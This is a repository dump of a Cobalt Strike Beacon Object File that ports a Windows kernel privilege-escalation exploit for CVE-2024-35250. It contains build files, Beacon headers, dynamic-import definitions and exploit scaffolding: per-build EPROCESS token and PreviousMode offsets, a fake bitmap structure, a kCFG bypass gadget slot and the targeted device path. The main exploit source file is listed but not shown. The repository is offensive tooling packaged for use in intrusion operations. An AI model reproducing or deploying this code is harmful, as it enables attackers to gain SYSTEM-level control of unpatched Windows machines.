├── assets └── bof.png ├── CVE-2024-35250-BOF ├── packages.config ├── base │ ├── helpers.h │ ├── mock_syscalls.cpp │ ├── mock.h │ └── mock.cpp ├── Makefile ├── sleepmask.h ├── CVE-2024-35250-BOF.vcxproj.filters ├── beacon_gate.h ├── bofdefs.h ├── common.h ├── CVE-2024-35250-BOF.vcxproj ├── beacon.h └── CVE-2024-35250-BOF.cpp ├── README.md ├── CVE-2024-35250-BOF.sln ├── .gitignore └── LICENSE /assets/bof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinsel/CVE-2024-35250-BOF/HEAD/assets/bof.png -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-35250-BOF 2 | 3 | CVE-2024-35250 的 Beacon Object File (BOF) 实现。 4 | 5 | ![](assets/bof.png) 6 | 7 | ## 构建 8 | 9 | 项目模板来自[bof-vs](https://github.com/Cobalt-Strike/bof-vs)。 10 | 11 | 使用 Visual Studio 2019/2022 的 Release 配置进行编译。 12 | 13 | ## 鸣谢 14 | 15 | https://github.com/varwara/CVE-2024-35250 16 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/base/helpers.h: -------------------------------------------------------------------------------- 1 | #ifdef __cplusplus 2 | #ifndef _DEBUG 3 | #define DFR(module, function) \ 4 | DECLSPEC_IMPORT decltype(function) module##$##function; 5 | 6 | #define DFR_LOCAL(module, function) \ 7 | DECLSPEC_IMPORT decltype(function) module##$##function; \ 8 | decltype(module##$##function) *##function = module##$##function; 9 | #else 10 | #define DFR_LOCAL(module, function) 11 | #define DFR(module, function) \ 12 | decltype(function) *module##$##function = function; 13 | #endif // end of _DEBUG 14 | #endif // end of __cplusplus -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=/c /GS- /std:c++20 2 | DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++20 3 | 4 | !IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64" 5 | !ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set. 6 | !ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64" 7 | OUTDIR=..\x64\Release\ 8 | IMDIR=x64\Release\ 9 | DOUTDIR=..\x64\Debug\ 10 | DIMDIR=x64\Debug\ 11 | OUTEXT=.x64.o 12 | !ELSE 13 | OUTDIR=..\Release\ 14 | IMDIR=Release\ 15 | DIMDIR=Debug\ 16 | DOUTDIR=..\Debug\ 17 | OUTEXT=.x86.o 18 | !ENDIF 19 | 20 | all: *.cpp 21 | @$(MAKE) $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**))) 22 | @if not exist "$(OUTDIR)" mkdir "$(OUTDIR)" 23 | copy "$(IMDIR)\*.obj" "$(OUTDIR)" 24 | del /F "$(OUTDIR)\*$(OUTEXT)" 25 | ren "$(OUTDIR)*.obj" "*$(OUTEXT)" 26 | 27 | all-debug: *.cpp 28 | @$(MAKE) $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**))) 29 | 30 | .cpp{$(IMDIR)}.obj: 31 | @if not exist "$(IMDIR)" mkdir "$(IMDIR)" 32 | $(CPP) $(CFLAGS) /Fo"$@" $< 33 | 34 | .cpp{$(DOUTDIR)}.exe: 35 | @if not exist "$(DIMDIR)" mkdir "$(DIMDIR)" 36 | @if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)" 37 | $(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $< base/mock.cpp 38 | 39 | clean: 40 | @if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)" 41 | @if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)" 42 | @if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)" 43 | @if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)" 44 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/sleepmask.h: -------------------------------------------------------------------------------- 1 | #ifndef _SLEEPMASK_H_ 2 | #define _SLEEPMASK_H_ 3 | 4 | #include 5 | #include "beacon.h" 6 | #include "beacon_gate.h" 7 | 8 | /* Define the supported action types for the pivot beacons */ 9 | typedef enum _PIVOT_ACTION { 10 | ACTION_UNKNOWN, 11 | ACTION_TCP_RECV, 12 | ACTION_TCP_ACCEPT, 13 | ACTION_PIPE_WAIT, 14 | ACTION_PIPE_PEEK 15 | } PIVOT_ACTION; 16 | 17 | /* 18 | * action - defines which ACTION_ type to use in the pivot_sleep 19 | * in - defines the in socket for the ACTION_TCP_ types 20 | * out - defines the out socket for the ACTION_TCP_ types 21 | * pipe - defines the pipe for the ACTION_PIPE_ types 22 | */ 23 | typedef struct _PIVOT_ARGS { 24 | PIVOT_ACTION action; 25 | SOCKET in; 26 | SOCKET out; 27 | HANDLE pipe; 28 | } PIVOT_ARGS, * PPIVOT_ARGS; 29 | 30 | typedef enum _REASON_FOR_CALL { 31 | DEFAULT_SLEEP, 32 | PIVOT_SLEEP, 33 | BEACON_GATE 34 | } REASON_FOR_CALL; 35 | 36 | /* 37 | * version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 38 | * reason - reason for the call (default sleep, pivot sleep, beacon gate) 39 | * sleep_time - the time to sleep in milliseconds 40 | * beacon_info - the BEACON_INFO structure 41 | * pivot_args - the PIVOT_ARGS structure 42 | */ 43 | typedef struct _SLEEPMASK_INFO { 44 | unsigned int version; 45 | REASON_FOR_CALL reason; 46 | DWORD sleep_time; 47 | BEACON_INFO beacon_info; 48 | PIVOT_ARGS pivot_args; 49 | } SLEEPMASK_INFO, * PSLEEPMASK_INFO; 50 | 51 | typedef void(* SLEEPMASK_FUNC)(PSLEEPMASK_INFO, PFUNCTION_CALL); 52 | #endif // _SLEEPMASK_H_ 53 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33414.496 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-35250-BOF", "CVE-2024-35250-BOF\CVE-2024-35250-BOF.vcxproj", "{58EBEE7C-B0CF-49E3-AE82-E60750C03613}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | UnitTest|x64 = UnitTest|x64 15 | UnitTest|x86 = UnitTest|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.ActiveCfg = Debug|x64 19 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x64.Build.0 = Debug|x64 20 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.ActiveCfg = Debug|Win32 21 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Debug|x86.Build.0 = Debug|Win32 22 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.ActiveCfg = Release|x64 23 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x64.Build.0 = Release|x64 24 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.ActiveCfg = Release|Win32 25 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.Release|x86.Build.0 = Release|Win32 26 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.ActiveCfg = UnitTest|x64 27 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x64.Build.0 = UnitTest|x64 28 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.ActiveCfg = UnitTest|Win32 29 | {58EBEE7C-B0CF-49E3-AE82-E60750C03613}.UnitTest|x86.Build.0 = UnitTest|Win32 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {05614438-CD94-4CA7-899A-327C067C1C3B} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/CVE-2024-35250-BOF.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {b74d73f4-acc9-410d-a627-90481555d13a} 18 | 19 | 20 | {8fa0224c-f4ab-4998-991b-bf2b56db2848} 21 | 22 | 23 | 24 | 25 | Source Files\base 26 | 27 | 28 | Source Files\base 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files\base 40 | 41 | 42 | Header Files\base 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/beacon_gate.h: -------------------------------------------------------------------------------- 1 | #ifndef _BEACON_GATE_H 2 | #define _BEACON_GATE_H 3 | #include 4 | 5 | /* Beacon gate defines. */ 6 | #define MAX_BEACON_GATE_ARGUMENTS 10 7 | #define beaconGate(i) ((BEACON_GATE_##i)gateFunction->functionPtr) 8 | #define arg(i) (ULONG_PTR)gateFunction->args[i] 9 | 10 | /* Enum to specify what WinAPI is being called. */ 11 | typedef enum _WinApi { 12 | INTERNETOPENA, 13 | INTERNETCONNECTA, 14 | VIRTUALALLOC, 15 | VIRTUALALLOCEX, 16 | VIRTUALPROTECT, 17 | VIRTUALPROTECTEX, 18 | VIRTUALFREE, 19 | GETTHREADCONTEXT, 20 | SETTHREADCONTEXT, 21 | RESUMETHREAD, 22 | CREATETHREAD, 23 | CREATEREMOTETHREAD, 24 | OPENPROCESS, 25 | OPENTHREAD, 26 | CLOSEHANDLE, 27 | CREATEFILEMAPPING, 28 | MAPVIEWOFFILE, 29 | UNMAPVIEWOFFILE, 30 | VIRTUALQUERY, 31 | DUPLICATEHANDLE, 32 | READPROCESSMEMORY, 33 | WRITEPROCESSMEMORY, 34 | EXITTHREAD, 35 | } WinApi; 36 | 37 | /** 38 | * FUNCTION_CALL struct which encapsulates atomic function call. 39 | * 40 | * functionPtr - target function to call 41 | * function - Enum representing target WinApi 42 | * numOfArgs - number of arguments 43 | * args - array of ULONG_PTRs containing the passed arguments (e.g. rcx, rdx, ...) 44 | * bMask - BOOL indicating whether Beacon should be masked during the call 45 | * ULONG_PTR - retValue of the atomic function call 46 | */ 47 | typedef struct { 48 | PVOID functionPtr; 49 | WinApi function; 50 | int numOfArgs; 51 | ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; 52 | BOOL bMask; 53 | ULONG_PTR retValue; 54 | } FUNCTION_CALL, * PFUNCTION_CALL; 55 | 56 | /* Currently support max 10 arguments. */ 57 | /* NB For x86 we only support std call convention as this is what Windows uses for most Win32 APIs. */ 58 | typedef ULONG_PTR(__stdcall* BEACON_GATE_00)(VOID); 59 | typedef ULONG_PTR(__stdcall* BEACON_GATE_01)(ULONG_PTR); 60 | typedef ULONG_PTR(__stdcall* BEACON_GATE_02)(ULONG_PTR, ULONG_PTR); 61 | typedef ULONG_PTR(__stdcall* BEACON_GATE_03)(ULONG_PTR, ULONG_PTR, ULONG_PTR); 62 | typedef ULONG_PTR(__stdcall* BEACON_GATE_04)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 63 | typedef ULONG_PTR(__stdcall* BEACON_GATE_05)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 64 | typedef ULONG_PTR(__stdcall* BEACON_GATE_06)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 65 | typedef ULONG_PTR(__stdcall* BEACON_GATE_07)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 66 | typedef ULONG_PTR(__stdcall* BEACON_GATE_08)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 67 | typedef ULONG_PTR(__stdcall* BEACON_GATE_09)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 68 | typedef ULONG_PTR(__stdcall* BEACON_GATE_10)(ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR); 69 | #endif // _BEACON_GATE_H 70 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | 6 | #define BOF 7 | 8 | #pragma region error_handling 9 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) 10 | BOOL _print_error(const char* func, int line, const char* msg, HRESULT hr) { 11 | #ifdef BOF 12 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr); 13 | #else 14 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr); 15 | #endif // BOF 16 | 17 | return FALSE; 18 | } 19 | #pragma endregion 20 | 21 | #ifdef BOF 22 | #define print_info(msg, ...) BeaconPrintf(CALLBACK_OUTPUT, msg, ##__VA_ARGS__); 23 | #else 24 | #define print_info(msg, ...) printf(msg, ##__VA_ARGS__); 25 | #endif // BOF 26 | 27 | 28 | // KERNEL32 29 | DFR(KERNEL32, LoadLibraryA) 30 | #define LoadLibraryA KERNEL32$LoadLibraryA 31 | 32 | DFR(KERNEL32, VirtualFree) 33 | #define VirtualFree KERNEL32$VirtualFree 34 | 35 | DFR(KERNEL32, HeapReAlloc) 36 | #define HeapReAlloc KERNEL32$HeapReAlloc 37 | 38 | DFR(KERNEL32, GetProcessHeap) 39 | #define GetProcessHeap KERNEL32$GetProcessHeap 40 | 41 | DFR(KERNEL32, ExitThread) 42 | #define ExitThread KERNEL32$ExitThread 43 | 44 | DFR(KERNEL32, HeapAlloc) 45 | #define HeapAlloc KERNEL32$HeapAlloc 46 | 47 | DFR(KERNEL32, HeapFree) 48 | #define HeapFree KERNEL32$HeapFree 49 | 50 | DFR(KERNEL32, VirtualAlloc) 51 | #define VirtualAlloc KERNEL32$VirtualAlloc 52 | 53 | DFR(KERNEL32, GetLastError) 54 | #define GetLastError KERNEL32$GetLastError 55 | 56 | DFR(KERNEL32, LoadLibraryExW) 57 | #define LoadLibraryExW KERNEL32$LoadLibraryExW 58 | 59 | DFR(KERNEL32, GetProcAddress) 60 | #define GetProcAddress KERNEL32$GetProcAddress 61 | 62 | DFR(KERNEL32, GetCurrentProcess) 63 | #define GetCurrentProcess KERNEL32$GetCurrentProcess 64 | 65 | DFR(KERNEL32, InitializeProcThreadAttributeList) 66 | #define InitializeProcThreadAttributeList KERNEL32$InitializeProcThreadAttributeList 67 | 68 | DFR(KERNEL32, UpdateProcThreadAttribute) 69 | #define UpdateProcThreadAttribute KERNEL32$UpdateProcThreadAttribute 70 | 71 | DFR(KERNEL32, CreateProcessA) 72 | #define CreateProcessA KERNEL32$CreateProcessA 73 | 74 | DFR(KERNEL32, CreateToolhelp32Snapshot) 75 | #define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot 76 | 77 | DFR(KERNEL32, Process32First) 78 | #define Process32First KERNEL32$Process32First 79 | 80 | DFR(KERNEL32, Process32Next) 81 | #define Process32Next KERNEL32$Process32Next 82 | 83 | DFR(KERNEL32, CloseHandle) 84 | #define CloseHandle KERNEL32$CloseHandle 85 | 86 | DFR(KERNEL32, DeviceIoControl) 87 | #define DeviceIoControl KERNEL32$DeviceIoControl 88 | 89 | DFR(KERNEL32, OpenProcess) 90 | #define OpenProcess KERNEL32$OpenProcess 91 | 92 | DFR(KERNEL32, OpenThread) 93 | #define OpenThread KERNEL32$OpenThread 94 | 95 | DFR(KERNEL32, GetCurrentThreadId) 96 | #define GetCurrentThreadId KERNEL32$GetCurrentThreadId 97 | 98 | DFR(KERNEL32, GetCurrentProcessId) 99 | #define GetCurrentProcessId KERNEL32$GetCurrentProcessId 100 | 101 | // NTDLL 102 | DFR(NTDLL, NtQuerySystemInformation) 103 | #define NtQuerySystemInformation NTDLL$NtQuerySystemInformation 104 | 105 | DFR(NTDLL, NtWriteVirtualMemory) 106 | #define NtWriteVirtualMemory NTDLL$NtWriteVirtualMemory 107 | 108 | // OLE32 109 | DFR(OLE32, IIDFromString) 110 | #define IIDFromString OLE32$IIDFromString 111 | 112 | // MSVCRT 113 | DFR(MSVCRT, printf) 114 | #define printf MSVCRT$printf 115 | 116 | DFR(MSVCRT, memset) 117 | #define memset MSVCRT$memset 118 | 119 | DFR(MSVCRT, wcscmp) 120 | #define wcscmp MSVCRT$wcscmp 121 | 122 | DFR(MSVCRT, system) 123 | #define system MSVCRT$system 124 | 125 | //ADVAPI32 126 | DFR(ADVAPI32, OpenProcessToken) 127 | #define OpenProcessToken ADVAPI32$OpenProcessToken 128 | 129 | //Shlwapi 130 | DFR(Shlwapi, StrStrA) 131 | #define StrStrA Shlwapi$StrStrA -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) 4 | #define EPROCESS_TOKEN_OFFSET 0x4B8 5 | #define KTHREAD_PREVIOUS_MODE_OFFSET 0x232 6 | #define EPROCESS_SECURE_STATE_OFFSET 0x3E0 7 | #define SEP_TOKEN_PRIVILEGE_OFFSET 0x40 8 | #define SystemHandleInformation 0x10 9 | #define SystemModuleInformation 11 10 | #define SystemHandleInformationSize 0x400000 11 | 12 | enum _MODE 13 | { 14 | KernelMode = 0, 15 | UserMode = 1 16 | }; 17 | 18 | typedef struct SYSTEM_MODULE { 19 | ULONG Reserved1; 20 | ULONG Reserved2; 21 | #ifdef _WIN64 22 | ULONG Reserved3; 23 | #endif 24 | PVOID ImageBaseAddress; 25 | ULONG ImageSize; 26 | ULONG Flags; 27 | WORD Id; 28 | WORD Rank; 29 | WORD w018; 30 | WORD NameOffset; 31 | CHAR Name[255]; 32 | }SYSTEM_MODULE, * PSYSTEM_MODULE; 33 | 34 | typedef struct SYSTEM_MODULE_INFORMATION { 35 | ULONG ModulesCount; 36 | SYSTEM_MODULE Modules[1]; 37 | } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 38 | 39 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 40 | { 41 | USHORT UniqueProcessId; 42 | USHORT CreatorBackTraceIndex; 43 | UCHAR ObjectTypeIndex; 44 | UCHAR HandleAttributes; 45 | USHORT HandleValue; 46 | PVOID Object; 47 | ULONG GrantedAccess; 48 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 49 | 50 | typedef struct _SYSTEM_HANDLE_INFORMATION 51 | { 52 | ULONG NumberOfHandles; 53 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 54 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 55 | 56 | void * ULongLongToPtr64( const unsigned long long ull ) 57 | { 58 | return( (void *)(ULONG_PTR)ull ); 59 | } 60 | 61 | // 62 | // Declare some functions from ntdll.dll 63 | // 64 | extern "C" 65 | { 66 | NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid); 67 | 68 | NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString); 69 | 70 | NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService); 71 | 72 | NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL ); 73 | } 74 | 75 | 76 | #define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}" 77 | 78 | //DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server); 79 | //#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server) 80 | 81 | //DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service); 82 | //#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service) 83 | 84 | // 85 | // Declare data structures related to the exploit 86 | // 87 | typedef struct _RTL_BITMAP 88 | { 89 | DWORD SizeOfBitMap; 90 | PVOID Buffer; 91 | }RTL_BITMAP, *PRTL_BITMAP; 92 | 93 | #pragma pack(1) 94 | typedef struct _EXPLOIT_DATA1 95 | { 96 | PRTL_BITMAP FakeBitmap; 97 | }EXPLOIT_DATA1; 98 | 99 | typedef struct _EXPLOIT_DATA2 100 | { 101 | char pad[0x20]; 102 | PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits 103 | } EXPLOIT_DATA2; 104 | 105 | 106 | 107 | // 108 | // Kernel object offsets for different Windows versions to maintain exploit 109 | // compatibility 110 | // 111 | enum EPROCESS_TOKEN_OFFSETS 112 | { 113 | EPROCESS_TOKEN_WIN_SERVER2012_62_9200 = 0x348, 114 | EPROCESS_TOKEN_WIN_10_1507_10240 = 0x358, 115 | EPROCESS_TOKEN_WIN_10_1903_18362 = 0x360, 116 | EPROCESS_TOKEN_WIN_10_2004_19041 = 0x4b8, 117 | EPROCESS_TOKEN_WIN_10_20H2_19042 = 0x4b8, 118 | EPROCESS_TOKEN_WIN_11_22H2_22621 = 0x4b8, 119 | }; 120 | 121 | enum KTHREAD_PREVIOUS_MODE_OFFSETS 122 | { 123 | PREV_MODE_WIN_SERVER2012_62_9200 = 0x232, 124 | PREV_MODE_WIN_10_20H2_19042 = 0x232, 125 | PREV_MODE_WIN_11_22H2_22621 = 0x232, 126 | }; 127 | 128 | enum TOKEN_PRIVILEGES_OFFSET 129 | { 130 | TOKEN_PRIV_WIN_10_1507_10240 = 0x40, 131 | TOKEN_PRIV_WIN_11_22H2_22621 = 0x40, 132 | TOKEN_PRIV_WIN_11_23H2_22631 = 0x40, 133 | }; 134 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | 